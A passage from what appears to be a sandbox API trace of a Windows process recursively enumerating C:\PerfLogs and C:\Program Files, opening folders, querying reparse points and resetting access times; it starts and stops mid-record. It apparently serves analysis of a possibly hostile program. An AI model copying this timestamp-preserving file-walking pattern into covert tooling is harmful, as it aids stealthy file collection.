ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0263.831] CreateFileW (lpFileName="C:\\PerfLogs" (normalized: "c:\\perflogs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0263.831] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x118f974, lpLastWriteTime=0x118f974) returned 0 [0263.831] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x94fe90, nOutBufferSize=0x4000, lpBytesReturned=0x118f9cc, lpOverlapped=0x0 | out: lpOutBuffer=0x94fe90, lpBytesReturned=0x118f9cc, lpOverlapped=0x0) returned 0 [0263.831] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x94fe90) returned 1 [0263.831] NtClose (Handle=0x184) returned 0x0 [0263.831] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f258) returned 1 [0263.831] FindFirstFileExW (in: lpFileName="C:\\PerfLogs\\*", fInfoLevelId=0x1, lpFindFileData=0x118f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f77c) returned 0x549000 [0263.831] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.832] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 1 [0263.832] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 0 [0263.832] GetLastError () returned 0x12 [0263.832] FindFirstFileExW (in: lpFileName="C:\\PerfLogs\\*", fInfoLevelId=0x1, lpFindFileData=0x118f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f77c) returned 0x548fc0 [0263.832] FindClose (in: hFindFile=0x549000 | out: hFindFile=0x549000) returned 1 [0263.832] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.832] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 1 [0263.832] GetFileAttributesExW (in: lpFileName="C:\\PerfLogs\\Admin" (normalized: "c:\\perflogs\\admin"), fInfoLevelId=0x0, lpFileInformation=0x118f678 | out: lpFileInformation=0x118f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0263.832] CreateFileW (lpFileName="C:\\PerfLogs\\Admin" (normalized: "c:\\perflogs\\admin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0263.832] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x118f6bc, lpLastWriteTime=0x118f6bc) returned 0 [0263.832] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x94fe90, nOutBufferSize=0x4000, lpBytesReturned=0x118f714, lpOverlapped=0x0 | out: lpOutBuffer=0x94fe90, lpBytesReturned=0x118f714, lpOverlapped=0x0) returned 0 [0263.832] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x94fe90) returned 1 [0263.832] NtClose (Handle=0x184) returned 0x0 [0263.833] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0263.833] FindFirstFileExW (in: lpFileName="C:\\PerfLogs\\Admin\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x549000 [0263.833] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.833] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0263.833] GetLastError () returned 0x12 [0263.833] FindFirstFileExW (in: lpFileName="C:\\PerfLogs\\Admin\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548f40 [0263.833] FindClose (in: hFindFile=0x549000 | out: hFindFile=0x549000) returned 1 [0263.833] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.833] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0263.833] GetLastError () returned 0x12 [0263.833] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ea60) returned 1 [0263.833] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0263.833] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8eae8) returned 1 [0263.833] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0263.833] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 0 [0263.833] GetLastError () returned 0x12 [0263.833] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8eea0) returned 1 [0263.833] FindClose (in: hFindFile=0x548fc0 | out: hFindFile=0x548fc0) returned 1 [0263.834] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ef28) returned 1 [0263.834] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f258) returned 1 [0263.834] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118fa34 | out: lpFindFileData=0x118fa34*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa44a8750, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa44a8750, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Program Files", cAlternateFileName="")) returned 1 [0263.834] GetFileAttributesExW (in: lpFileName="C:\\Program Files" (normalized: "c:\\program files"), fInfoLevelId=0x0, lpFileInformation=0x118f930 | out: lpFileInformation=0x118f930*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa44a8750, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa44a8750, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0263.834] CreateFileW (lpFileName="C:\\Program Files" (normalized: "c:\\program files"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x14c [0263.834] SetFileTime (hFile=0x14c, lpCreationTime=0x0, lpLastAccessTime=0x118f974, lpLastWriteTime=0x118f974) returned 0 [0263.834] DeviceIoControl (in: hDevice=0x14c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x94fe90, nOutBufferSize=0x4000, lpBytesReturned=0x118f9cc, lpOverlapped=0x0 | out: lpOutBuffer=0x94fe90, lpBytesReturned=0x118f9cc, lpOverlapped=0x0) returned 0 [0263.834] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x94fe90) returned 1 [0263.834] NtClose (Handle=0x14c) returned 0x0 [0263.834] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f258) returned 1 [0263.834] FindFirstFileExW (in: lpFileName="C:\\Program Files\\*", fInfoLevelId=0x1, lpFindFileData=0x118f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f77c) returned 0x548fc0 [0263.834] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa44a8750, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa44a8750, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.834] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9ff54690, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff54690, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="")) returned 1 [0263.835] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ae853d, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28ae853d, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0263.835] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ef07a9b, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9ef07a9b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVD Maker", cAlternateFileName="")) returned 1 [0263.835] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa011d710, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa011d710, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="")) returned 1 [0263.835] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa011d710, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa011d710, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="")) returned 1 [0263.835] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa0143870, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0143870, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="")) returned 1 [0263.835] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9f960f90, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f960f90, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SQL Server Compact Edition", cAlternateFileName="")) returned 1 [0263.835] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa00d1450, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00d1450, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Sync Framework", cAlternateFileName="")) returned 1 [0263.835] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9ff7a7f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff7a7f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Synchronization Services", cAlternateFileName="")) returned 1 [0263.835] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ff2e530, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff2e530, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0263.835] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="")) returned 1 [0263.835] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xa0012d70, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0012d70, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="")) returned 1 [0263.835] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f9d33b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f9d33b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="")) returned 1 [0263.835] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Journal", cAlternateFileName="")) returned 1 [0263.835] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa0ef36f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0ef36f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="")) returned 1 [0263.835] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa00d1450, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00d1450, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="")) returned 1 [0263.835] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa10241f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa10241f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="")) returned 1 [0263.835] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ffa0950, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ffa0950, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="")) returned 1 [0263.835] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa0143870, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0143870, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="")) returned 1 [0263.835] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa0143870, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0143870, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="")) returned 1 [0263.835] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa0143870, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0143870, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="")) returned 0 [0263.835] GetLastError () returned 0x12 [0263.835] FindFirstFileExW (in: lpFileName="C:\\Program Files\\*", fInfoLevelId=0x1, lpFindFileData=0x118f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f77c) returned 0x548f40 [0263.835] FindClose (in: hFindFile=0x548fc0 | out: hFindFile=0x548fc0) returned 1 [0263.835] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa44a8750, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa44a8750, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.835] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9ff54690, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff54690, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="")) returned 1 [0263.836] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files" (normalized: "c:\\program files\\common files"), fInfoLevelId=0x0, lpFileInformation=0x118f678 | out: lpFileInformation=0x118f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9ff54690, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff54690, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0263.836] CreateFileW (lpFileName="C:\\Program Files\\Common Files" (normalized: 